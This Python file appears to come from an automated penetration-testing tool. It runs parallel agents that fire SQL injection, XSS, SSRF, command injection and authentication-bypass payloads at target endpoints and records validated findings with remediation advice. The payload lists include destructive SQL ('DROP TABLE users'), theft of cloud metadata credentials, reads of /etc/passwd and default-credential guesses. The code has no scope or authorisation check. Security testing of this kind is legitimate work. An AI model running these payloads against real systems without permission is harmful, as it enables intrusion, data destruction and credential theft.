"""
BREACH.AI - Parallel OWASP Exploitation Agents
================================================

Shannon-style parallel agents for each OWASP vulnerability category.
Each agent is specialized for a specific vulnerability type and runs
in parallel for maximum efficiency.

Based on Shannon's architecture where "specialized agents work in parallel
across OWASP categories, performing data flow analysis to identify
exploitable paths."
"""

import asyncio
import time
from abc import ABC, abstractmethod
from dataclasses import dataclass, field
from datetime import datetime
from typing import Any, Callable, Dict, List, Optional, Set

from anthropic import Anthropic

from .validator import ExploitationValidator, ValidationResult
from .source_analyzer import SourceCodeAnalyzer, DataFlowPath


@dataclass
class AgentFinding:
    """A finding from an OWASP agent."""
    agent_name: str
    vulnerability_type: str
    severity: str  # CRITICAL, HIGH, MEDIUM, LOW
    confidence: float
    target: str
    endpoint: str
    parameter: str
    payload: str

    # Exploitation proof
    exploited: bool
    exploitation_proof: Dict = field(default_factory=dict)

    # Evidence
    raw_request: str = ""
    raw_response: str = ""
    screenshot: Optional[bytes] = None

    # Impact
    business_impact: int = 0
    impact_explanation: str = ""

    # Reproduction
    curl_command: str = ""
    reproduction_steps: List[str] = field(default_factory=list)

    # Remediation
    remediation: str = ""
    cwe_id: str = ""
    owasp_category: str = ""

    # Timing
    discovered_at: datetime = field(default_factory=datetime.utcnow)


class OWASPAgent(ABC):
    """
    Base class for OWASP vulnerability agents.

    Each agent specializes in a specific vulnerability category
    and can run independently in parallel.
    """

    # Agent metadata
    name: str = "Base Agent"
    owasp_category: str = ""
    cwe_ids: List[str] = []
    description: str = ""

    def __init__(
        self,
        validator: ExploitationValidator,
        source_analyzer: Optional[SourceCodeAnalyzer] = None,
        use_ai: bool = True,
    ):
        self.validator = validator
        self.source_analyzer = source_analyzer
        self.use_ai = use_ai
        self.findings: List[AgentFinding] = []

        if use_ai:
            self.ai_client = Anthropic()

    @abstractmethod
    async def hunt(
        self,
        target: str,
        endpoints: List[Dict],
        data_flows: List[DataFlowPath] = None,
        cookies: Dict[str, str] = None,
    ) -> List[AgentFinding]:
        """
        Hunt for vulnerabilities of this type.

        Args:
            target: Target URL
            endpoints: List of discovered endpoints
            data_flows: Optional data flow analysis results
            cookies: Session cookies

        Returns:
            List of validated findings
        """
        pass

    @abstractmethod
    def get_payloads(self) -> List[str]:
        """Get payloads for this vulnerability type."""
        pass

    async def validate_finding(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> ValidationResult:
        """Validate a potential finding through exploitation."""
        return await self.validator.validate(finding, cookies)

    def _create_finding(
        self,
        endpoint: str,
        parameter: str,
        payload: str,
        validation_result: ValidationResult,
        **kwargs
    ) -> AgentFinding:
        """Create a validated finding."""
        return AgentFinding(
            agent_name=self.name,
            vulnerability_type=self.owasp_category,
            severity=self._calculate_severity(validation_result.confidence),
            confidence=validation_result.confidence,
            target=endpoint,
            endpoint=endpoint,
            parameter=parameter,
            payload=payload,
            exploited=validation_result.is_valid,
            exploitation_proof=validation_result.proof_data,
            curl_command=validation_result.curl_command,
            reproduction_steps=validation_result.reproduction_steps,
            cwe_id=self.cwe_ids[0] if self.cwe_ids else "",
            owasp_category=self.owasp_category,
            **kwargs
        )

    def _calculate_severity(self, confidence: float) -> str:
        """Calculate severity based on confidence and vulnerability type."""
        # Base severity from vulnerability type
        critical_types = ["sqli", "cmdi", "ssrf", "ssti", "auth_bypass"]
        high_types = ["xss", "lfi", "nosql", "idor"]

        if self.owasp_category in critical_types:
            base = "CRITICAL"
        elif self.owasp_category in high_types:
            base = "HIGH"
        else:
            base = "MEDIUM"

        # Adjust based on confidence
        if confidence < 0.5:
            if base == "CRITICAL":
                return "HIGH"
            elif base == "HIGH":
                return "MEDIUM"
            else:
                return "LOW"

        return base


# =============================================================================
# INJECTION AGENTS
# =============================================================================

class SQLInjectionAgent(OWASPAgent):
    """Agent specialized in SQL Injection detection and exploitation."""

    name = "SQL Injection Agent"
    owasp_category = "sqli"
    cwe_ids = ["CWE-89"]
    description = "Detects and exploits SQL injection vulnerabilities"

    def get_payloads(self) -> List[str]:
        return [
            # Error-based
            "'",
            "' OR '1'='1",
            "' OR '1'='1'--",
            "1' OR '1'='1",
            "admin'--",
            # UNION-based
            "' UNION SELECT NULL--",
            "' UNION SELECT 1,2,3--",
            "' UNION SELECT username,password FROM users--",
            # Time-based
            "' AND SLEEP(5)--",
            "'; WAITFOR DELAY '0:0:5'--",
            "' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
            # Boolean-based
            "' AND 1=1--",
            "' AND 1=2--",
            # Stacked queries
            "'; DROP TABLE users--",
            "'; INSERT INTO users VALUES('hacked')--",
        ]

    async def hunt(
        self,
        target: str,
        endpoints: List[Dict],
        data_flows: List[DataFlowPath] = None,
        cookies: Dict[str, str] = None,
    ) -> List[AgentFinding]:
        """Hunt for SQL injection vulnerabilities."""
        findings = []

        # Prioritize endpoints from data flow analysis
        priority_endpoints = []
        if data_flows:
            sqli_flows = [f for f in data_flows if f.vulnerability_type == "sqli"]
            for flow in sqli_flows:
                priority_endpoints.append({
                    "url": target,
                    "params": [flow.source.split(".")[-1]],
                    "confidence": flow.confidence,
                    "suggested_payloads": flow.suggested_payloads,
                })

        # Add regular endpoints
        all_endpoints = priority_endpoints + endpoints

        for ep in all_endpoints[:50]:  # Limit to 50 endpoints
            url = ep.get("url", target)
            params = ep.get("params", [])
            suggested_payloads = ep.get("suggested_payloads", self.get_payloads())

            for param in params[:10]:  # Limit params
                for payload in suggested_payloads[:15]:  # Limit payloads
                    # Create a finding object for validation
                    @dataclass
                    class PotentialFinding:
                        endpoint: str
                        parameter: str
                        payload: str
                        method: str
                        category: str

                    potential = PotentialFinding(
                        endpoint=url,
                        parameter=param,
                        payload=payload,
                        method="GET",
                        category="sqli",
                    )

                    validation = await self.validate_finding(potential, cookies)

                    if validation.is_valid and validation.confidence >= 0.7:
                        finding = self._create_finding(
                            endpoint=url,
                            parameter=param,
                            payload=payload,
                            validation_result=validation,
                            business_impact=100000,
                            impact_explanation="SQL injection allows full database access, data theft, and potential system compromise.",
                            remediation="Use parameterized queries (prepared statements). Never concatenate user input into SQL queries.",
                        )
                        findings.append(finding)
                        self.findings.append(finding)

                        # Found SQLi on this param - no need to test more payloads
                        break

        return findings


class XSSAgent(OWASPAgent):
    """Agent specialized in XSS detection and exploitation."""

    name = "XSS Agent"
    owasp_category = "xss"
    cwe_ids = ["CWE-79"]
    description = "Detects and exploits Cross-Site Scripting vulnerabilities"

    def get_payloads(self) -> List[str]:
        return [
            # Basic
            "<script>alert('XSS')</script>",
            "<img src=x onerror=alert('XSS')>",
            "<svg onload=alert('XSS')>",
            # Event handlers
            "\" onmouseover=\"alert('XSS')\"",
            "' onclick='alert(1)'",
            # JavaScript URI
            "javascript:alert('XSS')",
            # HTML5 vectors
            "<details open ontoggle=alert('XSS')>",
            "<marquee onstart=alert('XSS')>",
            # WAF bypass
            "<ScRiPt>alert('XSS')</ScRiPt>",
            "<img src=x oNeRrOr=alert('XSS')>",
            "<svg/onload=alert('XSS')>",
            "<<script>alert('XSS')//<</script>",
            # Polyglots
            "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */onerror=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e",
        ]

    async def hunt(
        self,
        target: str,
        endpoints: List[Dict],
        data_flows: List[DataFlowPath] = None,
        cookies: Dict[str, str] = None,
    ) -> List[AgentFinding]:
        """Hunt for XSS vulnerabilities."""
        findings = []

        # Prioritize endpoints from data flow analysis
        xss_flows = []
        if data_flows:
            xss_flows = [f for f in data_flows if f.vulnerability_type == "xss"]

        for ep in endpoints[:50]:
            url = ep.get("url", target)
            params = ep.get("params", [])

            for param in params[:10]:
                for payload in self.get_payloads()[:10]:
                    @dataclass
                    class PotentialFinding:
                        endpoint: str
                        parameter: str
                        payload: str
                        method: str
                        category: str

                    potential = PotentialFinding(
                        endpoint=url,
                        parameter=param,
                        payload=payload,
                        method="GET",
                        category="xss",
                    )

                    validation = await self.validate_finding(potential, cookies)

                    if validation.is_valid and validation.confidence >= 0.7:
                        finding = self._create_finding(
                            endpoint=url,
                            parameter=param,
                            payload=payload,
                            validation_result=validation,
                            screenshot=validation.screenshot,
                            business_impact=25000,
                            impact_explanation="XSS enables session hijacking, credential theft, and phishing attacks.",
                            remediation="HTML-encode all user input. Use Content-Security-Policy. Use HttpOnly cookies.",
                        )
                        findings.append(finding)
                        self.findings.append(finding)
                        break

        return findings


class SSRFAgent(OWASPAgent):
    """Agent specialized in SSRF detection and exploitation."""

    name = "SSRF Agent"
    owasp_category = "ssrf"
    cwe_ids = ["CWE-918"]
    description = "Detects and exploits Server-Side Request Forgery"

    def get_payloads(self) -> List[str]:
        return [
            # Localhost
            "http://127.0.0.1",
            "http://localhost",
            "http://127.0.0.1:22",
            "http://127.0.0.1:3306",
            "http://127.0.0.1:6379",
            # Cloud metadata
            "http://169.254.169.254/latest/meta-data/",
            "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
            "http://metadata.google.internal/computeMetadata/v1/",
            # Bypass techniques
            "http://127.1",
            "http://0.0.0.0",
            "http://[::1]",
            "http://127.0.0.1.nip.io",
            # Protocol smuggling
            "gopher://127.0.0.1:6379/_",
            "dict://127.0.0.1:6379/info",
            "file:///etc/passwd",
        ]

    async def hunt(
        self,
        target: str,
        endpoints: List[Dict],
        data_flows: List[DataFlowPath] = None,
        cookies: Dict[str, str] = None,
    ) -> List[AgentFinding]:
        """Hunt for SSRF vulnerabilities."""
        findings = []

        # Only test URL-like parameters
        url_params = ['url', 'link', 'redirect', 'callback', 'next',
                      'src', 'source', 'dest', 'uri', 'path', 'fetch', 'load', 'proxy']

        for ep in endpoints[:30]:
            url = ep.get("url", target)
            params = ep.get("params", [])

            for param in params:
                if not any(p in param.lower() for p in url_params):
                    continue

                for payload in self.get_payloads()[:10]:
                    @dataclass
                    class PotentialFinding:
                        endpoint: str
                        parameter: str
                        payload: str
                        method: str
                        category: str

                    potential = PotentialFinding(
                        endpoint=url,
                        parameter=param,
                        payload=payload,
                        method="GET",
                        category="ssrf",
                    )

                    validation = await self.validate_finding(potential, cookies)

                    if validation.is_valid and validation.confidence >= 0.7:
                        finding = self._create_finding(
                            endpoint=url,
                            parameter=param,
                            payload=payload,
                            validation_result=validation,
                            business_impact=500000 if "169.254" in payload else 50000,
                            impact_explanation="SSRF enables internal network scanning, cloud credential theft, and service exploitation.",
                            remediation="Whitelist allowed URLs. Block internal IPs. Use IMDSv2 for cloud.",
                        )
                        findings.append(finding)
                        self.findings.append(finding)
                        break

        return findings


class CommandInjectionAgent(OWASPAgent):
    """Agent specialized in Command Injection detection."""

    name = "Command Injection Agent"
    owasp_category = "cmdi"
    cwe_ids = ["CWE-78"]
    description = "Detects and exploits OS Command Injection"

    def get_payloads(self) -> List[str]:
        return [
            "; id",
            "| id",
            "& id",
            "`id`",
            "$(id)",
            "; whoami",
            "| whoami",
            "; cat /etc/passwd",
            "& type C:\\windows\\win.ini",
            "; sleep 5",
            "| sleep 5",
            "|| sleep 5",
            "&& sleep 5",
        ]

    async def hunt(
        self,
        target: str,
        endpoints: List[Dict],
        data_flows: List[DataFlowPath] = None,
        cookies: Dict[str, str] = None,
    ) -> List[AgentFinding]:
        """Hunt for command injection."""
        findings = []

        for ep in endpoints[:30]:
            url = ep.get("url", target)
            params = ep.get("params", [])

            for param in params[:10]:
                for payload in self.get_payloads()[:8]:
                    @dataclass
                    class PotentialFinding:
                        endpoint: str
                        parameter: str
                        payload: str
                        method: str
                        category: str

                    potential = PotentialFinding(
                        endpoint=url,
                        parameter=param,
                        payload=payload,
                        method="GET",
                        category="cmdi",
                    )

                    validation = await self.validate_finding(potential, cookies)

                    if validation.is_valid and validation.confidence >= 0.7:
                        finding = self._create_finding(
                            endpoint=url,
                            parameter=param,
                            payload=payload,
                            validation_result=validation,
                            business_impact=500000,
                            impact_explanation="Command injection enables full server compromise.",
                            remediation="Never pass user input to shell. Use safe APIs.",
                        )
                        findings.append(finding)
                        self.findings.append(finding)
                        break

        return findings


class AuthenticationAgent(OWASPAgent):
    """Agent specialized in Authentication vulnerabilities."""

    name = "Authentication Agent"
    owasp_category = "auth_bypass"
    cwe_ids = ["CWE-287", "CWE-306"]
    description = "Detects authentication bypass and weak authentication"

    def get_payloads(self) -> List[str]:
        return [
            # SQL injection for auth bypass
            "' OR '1'='1",
            "admin'--",
            "' OR 1=1--",
            # NoSQL injection
            '{"$ne": null}',
            '{"$gt": ""}',
            # JWT attacks
            "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0",  # alg: none
            # Default credentials
            "admin:admin",
            "admin:password",
            "root:root",
        ]

    async def hunt(
        self,
        target: str,
        endpoints: List[Dict],
        data_flows: List[DataFlowPath] = None,
        cookies: Dict[str, str] = None,
    ) -> List[AgentFinding]:
        """Hunt for authentication vulnerabilities."""
        findings = []

        # Find login endpoints
        login_endpoints = [
            ep for ep in endpoints
            if any(kw in ep.get("url", "").lower() for kw in ["login", "signin", "auth", "session"])
        ]

        for ep in login_endpoints[:10]:
            url = ep.get("url", target)
            params = ep.get("params", ["username", "password"])

            for param in params:
                for payload in self.get_payloads()[:5]:
                    @dataclass
                    class PotentialFinding:
                        endpoint: str
                        parameter: str
                        payload: str
                        method: str
                        category: str

                    potential = PotentialFinding(
                        endpoint=url,
                        parameter=param,
                        payload=payload,
                        method="POST",
                        category="auth_bypass",
                    )

                    validation = await self.validate_finding(potential, cookies)

                    if validation.is_valid and validation.confidence >= 0.7:
                        finding = self._create_finding(
                            endpoint=url,
                            parameter=param,
                            payload=payload,
                            validation_result=validation,
                            business_impact=200000,
                            impact_explanation="Authentication bypass enables unauthorized access to user accounts.",
                            remediation="Use secure authentication. Implement MFA. Use secure session management.",
                        )
                        findings.append(finding)
                        self.findings.append(finding)
                        break

        return findings


# =============================================================================
# ORCHESTRATOR
# =============================================================================

class OWASPAgentOrchestrator:
    """
    Orchestrates parallel OWASP agents for comprehensive testing.

    Based on Shannon's approach of running "specialized agents in parallel
    for each OWASP category."
    """

    def __init__(
        self,
        validator: ExploitationValidator,
        source_analyzer: Optional[SourceCodeAnalyzer] = None,
        agents: List[str] = None,
        max_concurrent: int = 5,
    ):
        self.validator = validator
        self.source_analyzer = source_analyzer
        self.max_concurrent = max_concurrent

        # Initialize agents
        available_agents = {
            "sqli": SQLInjectionAgent,
            "xss": XSSAgent,
            "ssrf": SSRFAgent,
            "cmdi": CommandInjectionAgent,
            "auth": AuthenticationAgent,
        }

        self.agents = []
        agent_types = agents or list(available_agents.keys())

        for agent_type in agent_types:
            if agent_type in available_agents:
                agent = available_agents[agent_type](
                    validator=validator,
                    source_analyzer=source_analyzer,
                )
                self.agents.append(agent)

    async def hunt(
        self,
        target: str,
        endpoints: List[Dict],
        data_flows: List[DataFlowPath] = None,
        cookies: Dict[str, str] = None,
        on_finding: Callable = None,
    ) -> List[AgentFinding]:
        """
        Run all agents in parallel to hunt for vulnerabilities.

        Returns only findings that were successfully exploited.
        """
        all_findings = []

        # Run agents in parallel
        tasks = []
        for agent in self.agents:
            task = asyncio.create_task(
                agent.hunt(target, endpoints, data_flows, cookies)
            )
            tasks.append((agent.name, task))

        # Gather results
        for agent_name, task in tasks:
            try:
                findings = await task
                for finding in findings:
                    all_findings.append(finding)
                    if on_finding:
                        await on_finding(finding) if asyncio.iscoroutinefunction(on_finding) else on_finding(finding)
            except Exception as e:
                print(f"Agent {agent_name} failed: {e}")

        return all_findings

    async def targeted_hunt(
        self,
        target: str,
        data_flows: List[DataFlowPath],
        cookies: Dict[str, str] = None,
    ) -> List[AgentFinding]:
        """
        Run targeted hunt based on data flow analysis.

        Only tests vulnerabilities where code analysis found potential issues.
        """
        findings = []

        # Group data flows by vulnerability type
        flows_by_type = {}
        for flow in data_flows:
            if flow.vulnerability_type not in flows_by_type:
                flows_by_type[flow.vulnerability_type] = []
            flows_by_type[flow.vulnerability_type].append(flow)

        # Run only relevant agents
        for agent in self.agents:
            if agent.owasp_category in flows_by_type:
                agent_flows = flows_by_type[agent.owasp_category]

                # Create endpoint list from flows
                endpoints = [
                    {
                        "url": target,
                        "params": [flow.source.split(".")[-1]],
                        "suggested_payloads": flow.suggested_payloads,
                    }
                    for flow in agent_flows
                ]

                agent_findings = await agent.hunt(
                    target=target,
                    endpoints=endpoints,
                    data_flows=agent_flows,
                    cookies=cookies,
                )
                findings.extend(agent_findings)

        return findings
